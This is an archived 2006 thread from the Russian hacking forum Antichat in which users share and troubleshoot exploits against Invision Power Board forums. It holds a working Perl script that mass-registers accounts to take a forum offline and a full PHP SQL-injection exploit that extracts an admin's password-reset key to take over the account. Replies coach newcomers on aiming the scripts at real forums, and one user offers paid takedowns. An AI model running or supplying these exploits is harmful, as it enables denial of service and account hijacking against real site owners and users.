Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Форумы (https://forum.antichat.xyz/forumdisplay.php?f=16)
-   -   Сплоит для IPB <= 2.1.4 DOS (https://forum.antichat.xyz/showthread.php?t=14753)

degeneration x 20.02.2006 13:30

Сплоит для IPB <= 2.1.4 DOS
 
Нашел недавно, проверял на 2.1.4 работает отлично!
Код:

#!/usr/bin/perl
use IO::Socket;
##########################################################
## _______ _______ ______ #
## |______ |______ | \ #
## ______| |______ |_____/ #
## #
##IPB Register Multiple Users Denial of Service #
##Doesn't Work on forums using "Code Confirmation" #
##Created By SkOd #
##SED security Team #
##http://www.sed-team.be #
##skod.uk@gmail.com #
##ISRAEL #
##########################################################

print q{
############################################################
# Invision Power Board Multiple Users DOS #
#Tested on IPB 2.0.1 #
# created By SkOd. SED Security Team #
############################################################
};
$rand=rand(10);
print "Forum Host: ";
$serv = <stdin>;
chop ($serv);
print "Forum Path: ";
$path = <stdin>;
chop ($path);
for ($i=0; $i<9999; $i++)
{
$name="sedXPL_".$rand.$i;
$data = "act=Reg&CODE=02&coppa_user=0&UserName=".$name."&PassWord=sedbotbeta&PassWord_Check=sed botbeta&EmailAddress=".$name."\@host.com&EmailAddress_two=".$name."\@host.com&allow_admin_mail=1 &allow_member_mail=1&day=11&month=11&year=1985&agree=1";
$len = length $data;
$get1 = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$serv", PeerPort => "80") || die "Cennot Connect Host, it's can be beacuse the host dosed";
print $get1 "POST ".$path."index.php HTTP/1.0\n";
print $get1 "Host: ".$serv."\n";
print $get1 "Content-Type: application/x-www-form-urlencoded\n";
print $get1 "Content-Length: ".$len."\n\n";
print $get1 $data;
syswrite STDOUT, "+";
}
print "Forum shuld be Dosed. Check it out...\n";


degeneration x 20.02.2006 21:00

Кто ещё проверял?

Zheca 20.02.2006 22:19

Ну я эт скрипт недельки 2 назад юзал, тока чегото у меня ничего не сработало. Т.е скрипт то работает - плюсики там идут - но в конце пишет что типа хост в ДоСе - но нифга он не в Досе - работает как и работал. Может ошибочка есть?

tester 25.02.2006 19:01

for ($i=0; $i<9999; $i++) - что это? :D

DooDlez 25.02.2006 22:11

Объясните, что скрипт вооще делает, что значит Dosed :rooleyes: ?.. Только не бейте :(...

Inferno 25.02.2006 22:35

Цитата:

Сообщение от tester
for ($i=0; $i<9999; $i++) - что это? :D

Цыкл который будет выполнятся до 9999 а вобще хз!

degeneration x 25.02.2006 23:32

IPB Register Multiple Users Denial of Service
Doesn't Work on forums using "Code Confirmation"
Эти всё сказано. А вообще он пытается многократно зарегистрировать новых пользователей, DOS получается только в том случае, если на форуме не стоит бот-защита при регистрации(ввод случайной комбинации букв и цифр). А если бот-защита включена, то он сильно тормозит работу форума.

podkashey 27.02.2006 02:43

Dos - многократное обращение к серверу, что в итоге приводит его к ауту.
Столько пользователей и регистрирутеся для этого.

kirpunk 28.02.2006 00:13

а как его заливать? знаю что index.php? и что то там =)

vectorg 28.02.2006 00:31

не куда ничего заливать не нужно, устанавливаешь active perl или чтото наподобие, и запускаешь со своей тачки... хотя можно и по другому, но в твоём случае я думаю нужен первый вариант

SHiTS 28.02.2006 16:07

За 6 мин скажите че за ошибка!!!

The requested URL /forum/act=Reg&CODE=02&coppa_user=0&UserName=".$name."&Pa ssWord=sedbotbeta&PassWord_Check=sed botbeta&EmailAddress=".$name."/@host.com&EmailAddress_two=".$name."/@host.com&allow_admin_mail=1 &allow_member_mail=1&day=11&month=11&year=1985&agr ee=1 was not found on this server

tester 28.02.2006 19:50

нету здесь не какой ошибки, ошибки есть в запросе нефиг его с сплойта вытаскивать если ты даже не видешь в нем куски кода на пример:
&UserName=".$name."& да и вобще получше почитай назначения сплойта а потом тыркай запросы

Sprinter 02.03.2006 19:57

Он кактит только для 2.1.4 или покатит скажем на 2.0.*?

Что собственно надо вбивать?
Forum Host: - что ту вбивать?
Forum Path: - ну это сам путь к форуму

tester 02.03.2006 23:05

Forum host: http://phpbb.com
Forum path: /phpBB/

Sprinter 03.03.2006 16:59

Ну а если форум находится вот так
www.форум.jino-net.ru
www.форум.jino-net.ru/forum/
www.форум.ru/forum/
?
Цитата:

Forum host: http://phpbb.com
Forum path: /phpBB/
вообще отказывается что то делать

degeneration x 04.03.2006 12:12

Цитата:

Сообщение от Sprinter
Ну а если форум находится вот так
www.форум.jino-net.ru
www.форум.jino-net.ru/forum/
www.форум.ru/forum/
?

Попробуй:
1.
Forum host: форум.jino-net.ru
Forum path: /
2.
Forum host: форум.jino-net.ru
Forum path: /forum/
3.
Forum host: форум.ru
Forum path: /forum/

Sprinter 04.03.2006 15:19

1 вариант я как только не пытался. Не работает. Пишет
Цитата:

Cennot Connect Host, it's can be beacuse the host dosed at ipb2.pl line 36, <stdin> line 2.
3 вариант вроде плюсики пошли, жду.

И ешё, что писать когда форум расположен на домене 3 уровня forum.форум.ru?

Stronger_se 07.03.2006 17:58

кто нибудь когда нибудь смог сделать что нибудь на _http://www.goodboards.ru форумы с этого сервиса вообще не потдаються ниодному из раннее перечисленных способов ...

KEZ 07.03.2006 17:59

Stronger_se,
я могу на два-три часа в даун отправить, если есть деньги - в ПМ

Stronger_se 07.03.2006 18:14

Цитата:

Сообщение от KEZ
Stronger_se,
я могу на два-три часа в даун отправить, если есть деньги - в ПМ

........................................

так я тоже могу .. но мне нужно вообще нах снести его .. или что нибудь посерьёзнее нескольких часов

micle 09.03.2006 00:05

################################################## ##########
Forum Host: http://*****/forum/
Forum Path: /forum
Cennot Connect Host, it's can be beacuse the host dosed at C:\WebServers\usr\bin
\ipb.pl line 36, <stdin> line 2.


А как от этого избавиться?

Nova 09.03.2006 00:36

Цитата:

Сообщение от micle
################################################## ##########
Forum Host: http://*****/forum/
Forum Path: /forum
Cennot Connect Host, it's can be beacuse the host dosed at C:\WebServers\usr\bin
\ipb.pl line 36, <stdin> line 2.


А как от этого избавиться?

Исправить Exploit и не будет этого !

Rebz 09.03.2006 01:20

ну с минимальными знаниями английского можно сказать, что..
1) ты нифига не знаешь английский, написал текст видно сам.. с грубыми ошибками.. "dosed" и "closed" - найдите 10 отличий.. лол

2) скрипт не может приконнектиться из-за того что хост закрыт. это при дословном переводе с англ.

3) у тя Денвер чтоль стоит? хех).. пробуй запустить скрипт на удаленной никсовой системе)

4) проверь правильность ввода форума

napa3uT 09.03.2006 09:01

Наткнулся в инете случайно.
Сам не юзал.
Может кому пригодится.
Код:

<?
/*
                  ____  ________
 __________      /____ \/__  __ \
/__________ \_ _ // _  \ / /  /  \ \
\\______  \__ __ \/ / // /__/  / /
 \|      _/  |  \  / / \_____  / /
 ||    |  \  |  / / /_____ /  / /
 ||____|___/____/  \______/ \_/ /
 |_________/_____/\_______/\___/
    === - security team - ===

Invision Power Board < 2.1.4 Password change SQL-Injection Exploit
                          by roOstY
                      Ru24 Security Team
                    <= www.Ru24-Team.net =>
----
For example you can reset password for admin
(link to "forget Password" add ask to change this password.
At the end of exploit you get link to change admin password)
Working in all Invision Power Forum forum before 2.1.4
but you need good mysql version ;)
Greetz to Nitrex and Dukenn
Regards to: Dr_UFO_51,k0pa,NSD,Naikon and other...
Before runing,you must setup some settings
WARNING: You must setup the CURL-module for PHP!
----
*/

/* In any case at first you need to change password to  $target if you can't understand that */
//  error_reporting(E_ALL);

  ############    Settings    ###########################################################

    $proxy="24.48.*.*:**"; ## - your socks 4/5-proxy

    $host="http://forum.***.lt";  ##  - target forum
    $login="********";            ##  - login to forum
    $password="*****";            ##  - pass to forum
    $cook_name="ibf_topicsread";  ##  - target cookie name (default: ibf_topicsread)
    $topic=22;                    ##  - any real topyc
    $target=1;                    ##  - id target to admin or other user  that you want to reset password
    #####
    #  At first you need to reset pasword for target user.
    #  For example you can reset password for admin (link to "forget Password" add ask to change this password. At the end of you get link to change admin password)
    ####
    $len=32;  ## 5 for salt        ## it's my
    $ver=1;                        ##  if not wor change to 2
    $cookie_file_path = "/tmp/cookie";    ## for my opinuion, you can to set other
    $agent = "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)";
  ################################################################################

  $cookie="";

  echo "Login...";
  $url=$host."/index.php?act=Login&CODE=01&CookieDate=1";
  $reffer=$host."/index.php?act=Login&CODE=00";
  $post['UserName']=urlencode($login);
  $post['PassWord']=urlencode($password);
  $result=querry($url,$agent,$proxy,$reffer,$cookie_file_path,$post,"");          ###### Login to the forum

  $cook=getcookiee($result);
  foreach ($cook as $k=>$v) { $cookie[$k]=$v;  }
  if (!strstr($result,$login)) {
        echo "error. Invalid Login or Password then Login\n";
        exit;
    }  else echo "done\n";

  echo "Redirecting to main page...";
  $url=$host.urldecode(ExtractString($result,$host,"\" "));
  $result=querry($url,$agent,$proxy,$reffer,$cookie_file_path,"","");          ###### Redirect to the main page

  $cook=getcookiee($result);
  foreach ($cook as $k=>$v) { $cookie[$k]=$v;  }

    if (!strstr($result,$login)) {
        echo "error. Invalid Login or Password then Redirect\n";
        exit;
    }  else echo "done\n";
  $reffer=$url;


  echo "Going to Control Panel...";
  $url=$host."/index.php?act=UserCP&CODE=00";
  $reffer="";$agent="";
  $result=querry($url,$agent,$proxy,$reffer,$cookie_file_path,"","");            ###### Go te the control panel
      $cook=getcookiee($result);
      foreach ($cook as $k=>$v) { $cookie[$k]=$v;  }

    if (!strstr($result,$login)) {
        echo "error. Invalid Login or Password then going to Control\n";
        exit;
    }    echo "done\n";



    echo "Get table prefix...";
          $arr[$topic]=1111111111;
          $arr['-1) andd']=$topic;

      $cookie_base="";
      foreach ( $cookie as $k=>$v ) { $cookie_base.= $k."=".$v."; "; }

          $cookie_add=$cookie_base.$cook_name."=".urlencode(serialize($arr));
          unset($arr);

          $result=querry($url,$agent,$proxy,$reffer,$cookie_file_path,"",$cookie_add);
          if (!(strstr($result,"Error"))) {
              echo "error. Target seems not vuln";
              exit;  }
          $pref=ExtractString($result,"SELECT * FROM ","topics");
          echo "done prefix: ".$pref."\n";

$al="";
echo "Checking Mysql version....";
$targval=explode(".",$target);
          $arr[$topic]=1111111111;
          $arr['-1) and @@version<4/*']=$topic;
          $cookie_add=$cookie_base."; ".$cook_name."=".urlencode(serialize($arr));
          unset($arr);
          $result=querry($url,$agent,$proxy,$reffer,$cookie_file_path,"",$cookie_add);
          if (!strstr($result,"showtopic=".$target)) echo "done Mysql ver > 4 - GOOD!\n";
              else { echo  "done Mysql ver < 4. We can use only dos\n";
                    exit;
            }
echo "Exploiting....";

          $sent='%61%3A%32%3A%7B%73%3A';
          if ($ver==1) $exp="-999) UNION SELECT 0,vid,null,'open',0,1,1132440935,1,11132440935,0,null,null,0,0,2,2,1,0,0,0,0,0,1,0,0,0,0,0,0 from ".$pref."validating where member_id=".$target." LIMIT 1/*";
                  else $exp="-999) UNION SELECT 0,vid,null,'open',0,1,1132440935,1,11132440935,0,null,null,0,0,2,2,1,0,0,null,null,0,0,1,0 from ".$pref."validating where member_id=".$target." LIMIT 1/*";

          $arr[$topic]=1111111111;
          $arr[$exp]=$topic;
          $cookie_add=$cookie_base."; ".$cook_name."=".urlencode(serialize($arr));
          unset($arr);
          $result=querry($url,$agent,$proxy,$reffer,$cookie_file_path,"",$cookie_add);
          if (!strstr($result,"different number of columns"))            {
            echo "done\n";
            $vid=substr($result,strpos($result,"</a></span>")-32,32);
            echo "Done\nGoto url: [".$host."/index.php?act=Reg&CODE=lostpassform&uid=".$target."&aid=".$vid."] and change user password!\n";
          } else {
            echo "bad  Can't find number of colums\n";
            }
echo "Checking Mysql version 2....";
$targval=explode(".",$target);
          $arr[$topic]=1111111111;
          $arr['-1) and @@version<4.1/*']=$topic;
          $cookie_add=$cookie_base."; ".$cook_name."=".urlencode(serialize($arr));
          unset($arr);
          $result=querry($url,$agent,$proxy,$reffer,$cookie_file_path,"",$cookie_add);
          //echo $result;exit;
          if (!strstr($result,"showtopic=".$target)) echo "done Mysql ver > 4.1 - GOOD!\n";
              else { echo  "done Mysql ver < 4.1. We can't use SUBSELECT\n";
                    exit;
            }
echo "Bruteforcing....\n";
      $val="";
for ($j=16;$j<=$len;$j++) {
    $a2=128;
    $a1=32;
    while (($a2-$a1)>=5) {
          $s=round(($a1+$a2)/2,0);
          echo $s;
          $arr[$topic]=1111111111;
          $arr['-1) and '.$s.'>(select ord(substring(vid,'.$j.',1)) from '.$pref.'validating where member_id='.$target.' LIMIT 1)/*']=$topic;
          $cookie_add=$cookie_base."; ".$cook_name."=".urlencode(serialize($arr));
          unset($arr);
          $result=querry($url,$agent,$proxy,$reffer,$cookie_file_path,"",$cookie_add);
          if ((strstr($result,"Error"))) {
              echo "Error querry!\n";
              exit;
            }
          if (strstr($result,"showtopic")) $a2=$s; else $a1=$s;
    }
    for ($i=$a1;$i<=$a2;$i++) {
          echo $i;
          $arr[$topic]=1111111111;
          $arr['-1) and '.$i.'=(select ord(substring(vid,'.$j.',1)) from '.$pref.'validating where member_id='.$target.' LIMIT 1)/*']=$topic;
          $cookie_add=$cookie_base."; ".$cook_name."=".urlencode(serialize($arr));
          $result=querry($url,$agent,$proxy,$reffer,$cookie_file_path,"",$cookie_add);
        // echo urlencode(serialize($arr)).$result;exit;
          if (strstr($result,"showtopic"))  {
              $val .= chr($i);
              echo " - Get_symb:[".$j."] ".chr($i)."\n";
              break;
            }
    }
 }
 echo "Done\nGoto url: [".$host."/index.php?act=Reg&CODE=lostpassform&uid=".$target."&aid=".strtolower($val)."] and change user password!\n";

function getcookiee($result) {
  $res = explode("\n",$result);
  foreach ($res as $k=>$v ) {
    if (ereg("Set-Cookie",$v)) {
      $c_a = explode(";",trim(str_replace("Set-Cookie:","",$v)));
      foreach ($c_a as $k=>$v ) {
              if (!(ereg("expires",$v))) {
              $arr=explode("=",trim($v));
              $cook[trim($arr[0])]=trim($arr[1]);
              }
          }
    }
  }
return $cook;
}
function querry($url,$agent,$proxy,$reffer,$cookie_file_path,$post,$cookie) {
      $ch = curl_init ();
      curl_setopt ($ch, CURLOPT_URL, $url);
      curl_setopt($ch, CURLOPT_USERAGENT, $agent);
      curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,  0);
      curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
      if ($post!="") {
                curl_setopt($ch, CURLOPT_POST, 1);
                curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
            }
      curl_setopt ($ch, CURLOPT_TIMEOUT, 120);
      curl_setopt ($ch, CURLOPT_PROXY, $proxy);
      curl_setopt ($ch, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5);
      curl_setopt ($ch, CURLOPT_RETURNTRANSFER, TRUE);
      curl_setopt ($ch, CURLOPT_FAILONERROR, false);
      curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);
      curl_setopt($ch, CURLOPT_REFERER, $reffer);

      if ($cookie!="")
                      curl_setopt($ch, CURLOPT_COOKIE, $cookie);
//                  else {
                        curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_file_path);
                        curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie_file_path);
//                        }
      curl_setopt($ch, CURLOPT_HEADER, 1);
      $result = curl_exec($ch);
      $error=curl_errno($ch);
      curl_close ($ch);
      if ($error) $result="Fucking Error: ".$error."\r\n";
      if ($error==7) $result=$result." Failed to connect() to host or proxy.\r\n";
      if ($error==28) $result=$result." Operation timeout. The specified time-out period was reached according to the conditions.\r\n";
      if ($error==22) $result=$result." Sorry, Unable to process request at this time, Please try again later.\r\n";
      return $result;
}

function ExtractString($str, $start, $end) {
  $str_low = ($str);
  if (strpos($str_low, $start) !== false && strpos($str_low, $end, strpos($str_low, $start)) !== false) {
  $pos1 = strpos($str_low, $start) + strlen($start);
  $pos2 = strpos($str_low, $end,strpos($str_low, $start)) - $pos1;
  return substr($str, $pos1, $pos2);
  }
}
?>

источник http://www.ru24-team.net/

Otaku 09.03.2006 19:08

Спасибо, но было.


Время: 01:56